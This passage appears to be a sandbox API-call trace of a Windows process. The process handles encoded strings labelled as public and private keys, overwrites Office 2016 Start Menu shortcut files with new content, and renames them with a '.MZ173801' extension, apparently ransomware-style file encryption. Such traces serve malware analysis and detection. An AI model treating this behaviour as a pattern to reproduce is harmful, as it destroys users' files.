lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0215.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0215.012] GetCurrentThreadId () returned 0xab4 [0215.012] GetCurrentThreadId () returned 0xab4 [0215.012] GetCurrentThreadId () returned 0xab4 [0215.012] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.012] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0215.012] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.012] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x988 [0215.012] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.012] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x988, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x988, lpOverlapped=0x0) returned 1 [0215.014] CloseHandle (hObject=0x330) returned 1 [0215.014] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.016] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x988, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x988, lpOverlapped=0x0) returned 1 [0215.018] CloseHandle (hObject=0x330) returned 1 [0215.018] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Language Preferences.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 language preferences.lnk.mz173801")) returned 1 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] GetCurrentThreadId () returned 0xab4 [0215.019] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa15, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Office 2016 Upload Center.lnk", cAlternateFileName="OFFICE~2.LNK")) returned 1 [0215.019] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0215.019] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0215.019] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa15)) returned 1 [0215.067] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk")) returned 0x20 [0215.067] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk", dwFileAttributes=0x80) returned 1 [0215.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0215.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0215.071] GetCurrentThreadId () returned 0xab4 [0215.072] GetCurrentThreadId () returned 0xab4 [0215.072] GetCurrentThreadId () returned 0xab4 [0215.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0215.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0215.073] GetCurrentThreadId () returned 0xab4 [0215.073] GetCurrentThreadId () returned 0xab4 [0215.073] GetCurrentThreadId () returned 0xab4 [0215.073] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.073] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0215.074] SetFilePointer 